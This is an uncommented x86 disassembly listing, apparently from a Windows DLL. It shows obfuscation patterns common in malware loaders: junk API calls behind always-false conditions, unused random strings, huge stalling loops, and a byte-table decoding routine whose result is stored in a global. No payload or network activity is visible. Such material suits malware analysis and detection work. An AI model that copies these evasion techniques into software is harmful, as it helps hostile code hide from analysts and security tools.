cmp dword [ebp - 0x1d8], 0xffffffed
jge 0x1002def1
mov dword [ebp - 0x4c], 6
mov dword [ebp - 0x4c], 3
jmp 0x1002dd53
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x13
jge 0x1002deec
mov dword [ebp - 0x61c], 0xebf9035
mov byte [ebp - 0x96], 0
movzx eax, byte [ebp - 0x96]
test eax, eax
je 0x1002dd8b
push 0x15f0
push 0
push 0x220b
call dword [sym.imp.GDI32.dll_Polygon]
cmp dword [ebp - 0xa0], 0
je 0x1002ddb3
mov byte [ebp - 0x98], 0
movzx eax, byte [ebp - 0x98]
test eax, eax
je 0x1002ddae
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
jmp 0x1002dee7
mov dword [ebp - 0x248], 0xffffffff
mov dword [ebp - 0x180], 0
jmp 0x1002ddd6
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 2
jge 0x1002ddf2
mov eax, dword [ebp - 0x180]
mov dword [ebp + eax*4 - 0x6b4], 0x91b68dee
jmp 0x1002ddc9
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x1002de11
push 0xbc0
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
cmp dword [ebp - 0x4c], 0
jne 0x1002de7d
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x748], eax
mov eax, dword [ebp - 0x4ac]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x248]
sub eax, dword [ebp - 0x61c]
jne 0x1002de41
cmp dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x750], eax
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x4c]
je 0x1002de64
mov dword [ebp - 0x340], 1
jmp 0x1002de6b
and dword [ebp - 0x340], 0
cmp dword [ebp - 0x340], 1
jbe 0x1002de7d
and dword [ebp - 0x410], 0
jmp 0x1002de87
mov dword [ebp - 0x410], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6b4]
inc eax
mov dword [ebp - 0x348], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x348]
mov dword [ebp + eax - 0x6b4], ecx
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x410]
cmp dword [ebp - 0x348], eax
je 0x1002decb
mov dword [ebp - 0x478], 1
jmp 0x1002ded2
and dword [ebp - 0x478], 0
push 1
lea ecx, [ebp - 0x714]
call fcn.10004de4
mov ecx, dword [ebp - 0x478]
mov dword [eax], ecx
jmp 0x1002dd4c
jmp 0x1002dd22
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x714]
call fcn.10004dc8
jmp 0x1002dc99
mov dword [ebp - 0x554], 1
mov dword [ebp - 0x190], 0xfffffffb
push 2
lea ecx, [ebp - 0x4fc]
call fcn.10004d6b
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x268], 0xffffffff
mov dword [ebp - 0x74], 0xbffbefa5
mov dword [ebp - 0x250], 0xffffffff
mov dword [ebp - 0x350], 0x297c
mov dword [ebp - 0x54c], str.dywoxor_wbs_bmwhykqx_upaaravhp_tzsmzo_uoeflkmma_idqnrcbl_qier
cmp dword [ebp - 0x350], 0x2b9a
jle 0x1002dfdf
and dword [ebp - 0x208], 0
jmp 0x1002df7e
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x5033
jge 0x1002dfdf
and dword [ebp - 0x188], 0
jmp 0x1002dfa0
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x4240
jge 0x1002dfdd
mov eax, dword [ebp - 0x208]
xor eax, dword [ebp - 0x188]
cdq
mov dword [ebp - 0x5b4], eax
mov dword [ebp - 0x5b0], edx
push dword [ebp - 0x5b0]
push dword [ebp - 0x5b4]
mov ecx, 0x10081078
call fcn.10004aca
jmp 0x1002df93
jmp 0x1002df71
mov dword [ebp - 0x278], 0
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x350], 0x27f2
jge 0x1002e009
mov edx, dword [ebp - 0x54c]
mov ecx, 0x10081078
call fcn.10006f4f
jmp 0x1002e025
mov dword [ebp - 4], 0x11
jmp 0x1002e035
mov dword [ebp - 0x55c], 0x64e62b50
mov dword [ebp - 0x1e0], 0
jmp 0x1002e058
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 2
jge 0x1002e07a
push dword [ebp - 0x1e0]
lea ecx, [ebp - 0x4fc]
call fcn.10004de4
mov dword [eax], 0x162c9cc1
jmp 0x1002e04b
mov eax, dword [ebp - 0x268]
dec eax
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x268]
sub eax, dword [ebp - 0x190]
cmp eax, 0x12b57e8b
jg 0x1002e0a6
mov dword [ebp - 0x680], 1
jmp 0x1002e0ad
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x250], 0xfe5ab06c
jae 0x1002e0d1
mov dword [ebp - 0x418], 1
jmp 0x1002e0d8
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x418], eax
jg 0x1002e0f2
mov dword [ebp - 0x358], 1
jmp 0x1002e0f9
and dword [ebp - 0x358], 0
mov eax, dword [ebp - 0x358]
sub eax, dword [ebp - 0x74]
mov dword [ebp - 0x4bc], eax
push 1
lea ecx, [ebp - 0x4fc]
call fcn.10004de4
mov ecx, dword [ebp - 0x4bc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x4bc]
je 0x1002e137
mov dword [ebp - 0x360], 1
jmp 0x1002e13e
and dword [ebp - 0x360], 0
cmp dword [ebp - 0x360], 0xf456574b
jne 0x1002e156
mov dword [ebp - 0x624], 1
jmp 0x1002e15d
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x190], eax
push 1
lea ecx, [ebp - 0x4fc]
call fcn.10004de4
cmp dword [ebp - 0x278], 0
jne 0x1002e19c
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x75c], eax
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp - 0x74]
jne 0x1002e19c
and dword [ebp - 0x420], 0
jmp 0x1002e1a6
mov dword [ebp - 0x420], 1
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x420]
jne 0x1002e1bd
mov dword [ebp - 0x65c], 1
jmp 0x1002e1c4
and dword [ebp - 0x65c], 0
push 1
lea ecx, [ebp - 0x4fc]
call fcn.10004de4
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x780], eax
mov esi, dword [ebp - 0x74]
mov edi, dword [ebp - 0x250]
add edi, dword [ebp - 0x278]
push 1
lea ecx, [ebp - 0x4fc]
call fcn.10004de4
imul edi, dword [eax]
cmp edi, esi
jg 0x1002e20c
mov dword [ebp - 0x368], 1
jmp 0x1002e213
and dword [ebp - 0x368], 0
cmp dword [ebp - 0x368], 0xfffa
jne 0x1002e22b
mov dword [ebp - 0x480], 1
jmp 0x1002e232
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x190], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4fc]
call fcn.10004dc8
cmp dword [0x1035e8e8], 0
jne 0x1002f45c
mov dword [ebp - 0x73c], 5
mov dword [ebp - 0x258], 0xfffffff8
mov dword [ebp - 0xd0], 0x7c44d996
mov dword [ebp - 0x270], 0xfffffff6
mov dword [ebp - 0x770], 0xfffffff9
mov dword [ebp - 0x1c], 0
jmp 0x1002e29c
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002e2b2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6c4], 0x4e12
jmp 0x1002e295
mov dword [ebp - 0x1c], 0
jmp 0x1002e2c2
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002e2d8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6fc], 0xffffffff
jmp 0x1002e2bb
mov dword [ebp - 0x1c], 0
jmp 0x1002e2e8
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1002e2fe
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8e8], 0x6dc0689
jmp 0x1002e2e1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x6c4]
neg eax
mov dword [ebp - 0x564], eax
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x564]
cmp eax, dword [ebp - 0x62c]
jne 0x1002e346
mov dword [ebp - 0x370], 1
jmp 0x1002e34d
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x370], eax
jge 0x1002e374
mov dword [ebp - 0x428], 1
jmp 0x1002e37b
and dword [ebp - 0x428], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x428]
mov dword [ebp + eax - 0x6fc], ecx
cmp dword [ebp - 0xd0], 0xfff6
jb 0x1002e3a5
mov dword [ebp - 0x570], 1
jmp 0x1002e3ac
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x734], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6fc]
mov dword [ebp - 0x778], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x6c4], 0x6a75
jle 0x1002e3f7
mov dword [ebp - 0x378], 1
jmp 0x1002e3fe
and dword [ebp - 0x378], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x378], eax
je 0x1002e418
mov dword [ebp - 0x4c4], 1
jmp 0x1002e41f
and dword [ebp - 0x4c4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4c4]
mov dword [ebp + eax - 0x6fc], ecx
mov dword [ebp - 0x690], 0x10deb
lea eax, [ebp - 0x690]
push eax
call fcn.100280e5
pop ecx
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x380], 0x5897
mov dword [ebp - 0x634], str.hccycm_vgo_tndwunyu_euogemzd_pboxdhln_jdjdxwak_zguphnww_tcskjo_lcg_ibyzocs_faq_ianl_vuwyd
cmp dword [ebp - 0x380], 0x5b35
jle 0x1002e58f
push 0
push 0x2348
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
and dword [ebp - 0x1a0], 0
jmp 0x1002e496
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x2d0b
jge 0x1002e588
and dword [ebp - 0x220], 0
jmp 0x1002e4bc
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0xa38
jge 0x1002e583
and dword [ebp - 0x198], 0
jmp 0x1002e4e2
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x2e72
jge 0x1002e57e
and dword [ebp - 0x1e8], 0
jmp 0x1002e508
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x936
jge 0x1002e579
mov eax, dword [ebp - 0x220]
add eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x1e8]
shl eax, cl
or eax, dword [ebp - 0x1a0]
cdq
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], edx
push dword [ebp - 0x5bc]
push dword [ebp - 0x5c0]
lea ecx, [ebp - 0x880]
call fcn.10001ab5
pop ecx
pop ecx
mov dword [ebp - 0x57c], eax
mov ecx, dword [ebp - 0x57c]
call fcn.10004aaa
push eax
call fcn.1004c653
pop ecx
lea ecx, [ebp - 0x880]
call fcn.10004aa0
jmp 0x1002e4fb
jmp 0x1002e4d5
jmp 0x1002e4af
jmp 0x1002e489
xor ecx, ecx
call fcn.1003f8c4
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x380], 0x563e
jge 0x1002e5ae
push dword [ebp - 0x634]
call fcn.1004c653
pop ecx
jmp 0x1002e5ca
or dword [ebp - 4], 0xffffffff
jmp 0x1002e5d4
mov dword [ebp - 0x288], 0xd4752e4a
mov dword [ebp - 0x2c], 0
jmp 0x1002e5ee
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1002e604
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x490], 0xea75c96d
jmp 0x1002e5e7
mov dword [ebp - 0x2c], 0
jmp 0x1002e614
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002e62a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x4d8], 0x2f4a8b10
jmp 0x1002e60d
mov byte [ebp - 0x75], 0
movzx eax, byte [ebp - 0x75]
test eax, eax
je 0x1002e655
push 0
push 0
push 0x1df0
push 0
push 0xaf0
push 0
push 0
push 0xa60
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x4d8], 1
jmp 0x1002e683
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4d8]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x4d8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x4d8], 0
jl 0x1002e9a5
mov dword [ebp - 0x7c], 0x9cee
push 3
lea ecx, [ebp - 0x6ac]
call fcn.10004d6b
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x448], 0xffffffff
mov dword [ebp - 0x34], 0
jmp 0x1002e6cc
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x1002e6e8
push dword [ebp - 0x34]
lea ecx, [ebp - 0x6ac]
call fcn.10004de4
mov dword [eax], 0x9e149cf
jmp 0x1002e6c5
mov dword [ebp - 0x34], 0
jmp 0x1002e6f8
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x1002e70e
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x664], 0x12d49381
jmp 0x1002e6f1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4d8]
mov eax, dword [ebp + eax*4 - 0x490]
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x7c], 0
jne 0x1002e74e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4d8]
cmp dword [ebp + eax*4 - 0x490], 0
jne 0x1002e74e
and dword [ebp - 0x430], 0
jmp 0x1002e758
mov dword [ebp - 0x430], 1
cmp dword [ebp - 0x430], 0x7bdd
je 0x1002e770
mov dword [ebp - 0x388], 1
jmp 0x1002e777
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x388], eax
jg 0x1002e78e
mov dword [ebp - 0x588], 1
jmp 0x1002e795
and dword [ebp - 0x588], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x490], 0xdb88
jle 0x1002e7b4
mov dword [ebp - 0x488], 1
jmp 0x1002e7bb
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x488], eax
jl 0x1002e7d2
mov dword [ebp - 0x390], 1
jmp 0x1002e7d9
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x390]
sub eax, 0x2f37fc03
mov dword [ebp - 0x288], eax
jne 0x1002e7ff
xor eax, eax
jne 0x1002e7ff
cmp dword [ebp - 0x7c], 0
jne 0x1002e7ff
and dword [ebp - 0x260], 0
jmp 0x1002e809
mov dword [ebp - 0x260], 1
push 2
lea ecx, [ebp - 0x6ac]
call fcn.10004de4
mov ecx, dword [ebp - 0x260]
mov dword [eax], ecx
cmp dword [ebp - 0x260], 0
je 0x1002e845
push 0
lea ecx, [ebp - 0x6ac]
call fcn.10004de4
cmp dword [eax], 0
je 0x1002e845
mov dword [ebp - 0x438], 1
jmp 0x1002e84c
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x438], eax
je 0x1002e863
mov dword [ebp - 0x398], 1
jmp 0x1002e86a
and dword [ebp - 0x398], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4d8]
imul eax, dword [ebp - 0x398]
test eax, eax
je 0x1002e897
cmp dword [ebp - 0x288], 0
je 0x1002e897
mov dword [ebp - 0x290], 1
jmp 0x1002e89e
and dword [ebp - 0x290], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x4d8]
cmp dword [ebp - 0x290], eax
jle 0x1002e8bf
mov dword [ebp - 0x3a0], 1
jmp 0x1002e8c6
and dword [ebp - 0x3a0], 0
cmp dword [ebp - 0x3a0], 0x3eed
je 0x1002e8de
mov dword [ebp - 0x440], 1
jmp 0x1002e8e5
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0x1b5f7a0d
jl 0x1002e8fd
mov dword [ebp - 0x3a8], 1
jmp 0x1002e904
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x3a8]
sub eax, dword [ebp - 0x7c]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x4d8]
cmp dword [ebp + ecx*4 - 0x490], eax
jle 0x1002e943
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4d8]
cmp dword [ebp + eax*4 - 0x490], 0
jne 0x1002e943
and dword [ebp - 0x494], 0
jmp 0x1002e94d
mov dword [ebp - 0x494], 1
cmp dword [ebp - 0x494], 0x8dad
jl 0x1002e96b
cmp dword [ebp - 0x7c], 0
je 0x1002e96b
mov dword [ebp - 0x3b0], 1
jmp 0x1002e972
and dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x664], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6ac]
call fcn.10004dc8
jmp 0x1002e668
mov dword [ebp - 0x3b8], 0x16a6
mov dword [ebp - 0x63c], str.whzyb_jwavrvry_johljz_xju_zevm_xnvtv_hyofz_dacwda_uieftx_qjjfjfz_alinvt_dngtlf_ezgehfngp_dbzh
cmp dword [ebp - 0x3b8], 0x185c
jle 0x1002eaac
and dword [ebp - 0x1f0], 0
jmp 0x1002e9df
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x47fd
jge 0x1002eaa1
and dword [ebp - 0x210], 0
jmp 0x1002ea05
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x228b
jge 0x1002ea9c
and dword [ebp - 0x1a8], 0
jmp 0x1002ea2b
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x642d
jge 0x1002ea97
mov eax, dword [ebp - 0x210]
cdq
idiv dword [ebp - 0x1a8]
and edx, dword [ebp - 0x1f0]
mov eax, edx
cdq
mov dword [ebp - 0x5cc], eax
mov dword [ebp - 0x5c8], edx
push dword [ebp - 0x5c8]
push dword [ebp - 0x5cc]
lea ecx, [ebp - 0x838]
call fcn.10001ab5
pop ecx
pop ecx
mov dword [ebp - 0x594], eax
mov ecx, dword [ebp - 0x594]
call fcn.10004aaa
push eax
call fcn.1004c653
pop ecx
lea ecx, [ebp - 0x838]
call fcn.10004aa0
jmp 0x1002ea1e
jmp 0x1002e9f8
jmp 0x1002e9d2
push 0xb57
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov byte [ebp - 0xf8], 9
mov byte [ebp - 0xf7], 0xbc
mov byte [ebp - 0xf6], 0xb
mov byte [ebp - 0xf5], 0x16
mov byte [ebp - 0xf4], 6
mov byte [ebp - 0xf3], 0xb
mov byte [ebp - 0xf2], 3
mov byte [ebp - 0xf1], 0x25
mov byte [ebp - 0xf0], 1
mov byte [ebp - 0xef], 0x33
mov byte [ebp - 0xee], 4
mov byte [ebp - 0xed], 0
mov byte [ebp - 0xec], 0xa
mov byte [ebp - 0xeb], 0x20
mov byte [ebp - 0xea], 8
mov byte [ebp - 0xe9], 0x2a
mov byte [ebp - 0xe8], 2
mov byte [ebp - 0xe7], 0x1b
mov byte [ebp - 0xe6], 7
mov byte [ebp - 0xe5], 0x1d
mov byte [ebp - 0xe4], 1
mov byte [ebp - 0xe3], 0x28
mov byte [ebp - 0xe2], 0xc
mov byte [ebp - 0xe1], 0x3e
mov byte [ebp - 0xe0], 5
mov byte [ebp - 0xdf], 0x25
mov byte [ebp - 0xde], 0
mov byte [ebp - 0xdd], 0x35
mov dword [ebp - 4], 0x17
cmp dword [ebp - 0x3b8], 0x1423
jge 0x1002eb8f
push dword [ebp - 0x63c]
call fcn.1004c653
pop ecx
jmp 0x1002ebab
or dword [ebp - 4], 0xffffffff
jmp 0x1002ebb5
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xf8]
and eax, 0xd2
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xf8]
or ecx, 0xd2
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xf8]
mov byte [ebp + eax - 0x50c], cl
mov dword [ebp - 0x18], 2
and dword [ebp - 0xc0], 0
jmp 0x1002ec0b
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1c
jae 0x1002ece9
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xf8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x1002ec55
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0xf8]
inc eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0xf8]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x18], eax
jmp 0x1002ec03
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xc0]
movzx eax, byte [ebp + eax - 0xfa]
movsx eax, byte [ebp + eax - 0x50c]
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0xf7]
and ecx, eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xc0]
movzx eax, byte [ebp + eax - 0xfa]
movsx eax, byte [ebp + eax - 0x50c]
mov edx, dword [ebp - 0x18]
movzx edx, byte [ebp + edx - 0xf7]
and edx, eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xc0]
movzx eax, byte [ebp + eax - 0xfa]
movsx eax, byte [ebp + eax - 0x50c]
mov esi, dword [ebp - 0x18]
movzx ebx, byte [ebp + esi - 0xf7]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0xf8]
mov byte [ebp + eax - 0x50c], bl
and dword [ebp - 0xc0], 0
jmp 0x1002ec03
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x50c], 0
lea eax, [ebp - 0x50c]
push eax
lea ecx, [ebp - 0x868]
call fcn.10033582
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x5a0]
mov dword [ebp - 0x668], eax
mov dword [ebp - 4], 0x19
mov edx, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x668]
call fcn.1001e61a
mov dword [0x1035e8e8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x868]
call fcn.10004cd8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0x1b0], 0
jmp 0x1002ed6a
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 4
jge 0x1002ed86
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x678], 0x9c3fbb4e
jmp 0x1002ed5d
cmp dword [ebp - 0xc4], 0
je 0x1002edab
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x678], 0
je 0x1002edab
mov dword [ebp - 0x294], 1
jmp 0x1002edb2
and dword [ebp - 0x294], 0
cmp dword [ebp - 0x294], 0xfffffffb
jae 0x1002edc7
mov dword [ebp - 0x29c], 1
jmp 0x1002edce
and dword [ebp - 0x29c], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x678]
add ecx, dword [ebp + eax - 0x678]
cmp ecx, dword [ebp - 0x29c]
je 0x1002edfc
mov dword [ebp - 0x2a4], 1
jmp 0x1002ee03
and dword [ebp - 0x2a4], 0
cmp dword [ebp - 0x2a4], 0x551da622
jle 0x1002ee1b
mov dword [ebp - 0x2ac], 1
jmp 0x1002ee22
and dword [ebp - 0x2ac], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x678]
cmp eax, dword [ebp - 0x2ac]
je 0x1002ee43
mov dword [ebp - 0x2b4], 1
jmp 0x1002ee4a
and dword [ebp - 0x2b4], 0
cmp dword [ebp - 0x2b4], 0
ja 0x1002ee6f
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x678], 0
je 0x1002ee6f
mov dword [ebp - 0x5ac], 1
jmp 0x1002ee76
and dword [ebp - 0x5ac], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x678]
mov dword [ebp - 0x754], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x678], 0
je 0x1002ef6e
mov dword [ebp - 0x644], 0xb1a7a81a
mov dword [ebp - 0xc4], 0xfffffff0
jmp 0x1002eebf
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0xb
jle 0x1002ef69
push 3
lea ecx, [ebp - 0x708]
call fcn.10004d6b
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x230], 0
jmp 0x1002eef9
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 3
jge 0x1002ef1b
push dword [ebp - 0x230]
lea ecx, [ebp - 0x708]
call fcn.10004de4
mov dword [eax], 0xfffffffb
jmp 0x1002eeec
cmp dword [ebp - 0x644], 0
je 0x1002ef39
mov eax, 0xe77e
test eax, eax
je 0x1002ef39
mov dword [ebp - 0x2bc], 1
jmp 0x1002ef40
and dword [ebp - 0x2bc], 0
push 1
lea ecx, [ebp - 0x708]
call fcn.10004de4
mov ecx, dword [ebp - 0x2bc]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x708]
call fcn.10004dc8
jmp 0x1002eeb2
jmp 0x1002f0fd
mov dword [ebp - 0x2c4], 0x33ef
mov dword [ebp - 0x5b8], str.aevyogat_cpsv_rjp_ocxyjqxm_ntzbhw_bvulchl_kuneiawp_mkublhus_wfsooi_xwyqfnonz_twr
cmp dword [ebp - 0x2c4], 0x3674
jle 0x1002f07d
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
and dword [ebp - 0x1c0], 0
jmp 0x1002efb6
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x2d6
jge 0x1002f07d
and dword [ebp - 0x218], 0
jmp 0x1002efdc
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x2ee3
jge 0x1002f078
and dword [ebp - 0x1b8], 0
jmp 0x1002f002
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x186b
jge 0x1002f073
and dword [ebp - 0x1f8], 0
jmp 0x1002f024
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x64f8
jge 0x1002f071
mov eax, dword [ebp - 0x1b8]
cdq
idiv dword [ebp - 0x1f8]
mov eax, dword [ebp - 0x1c0]
imul eax, dword [ebp - 0x218]
or eax, edx
cdq
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], edx
push dword [ebp - 0x5d4]
push dword [ebp - 0x5d8]
mov ecx, 0x10081078
call fcn.10004aca
jmp 0x1002f017
jmp 0x1002eff5
jmp 0x1002efcf
jmp 0x1002efa9
mov byte [ebp - 0x8d], 0
mov dword [ebp - 4], 0x1b
cmp dword [ebp - 0x2c4], 0x33a1
jge 0x1002f0a7
mov edx, dword [ebp - 0x5b8]
mov ecx, 0x10081078
call fcn.10006f4f
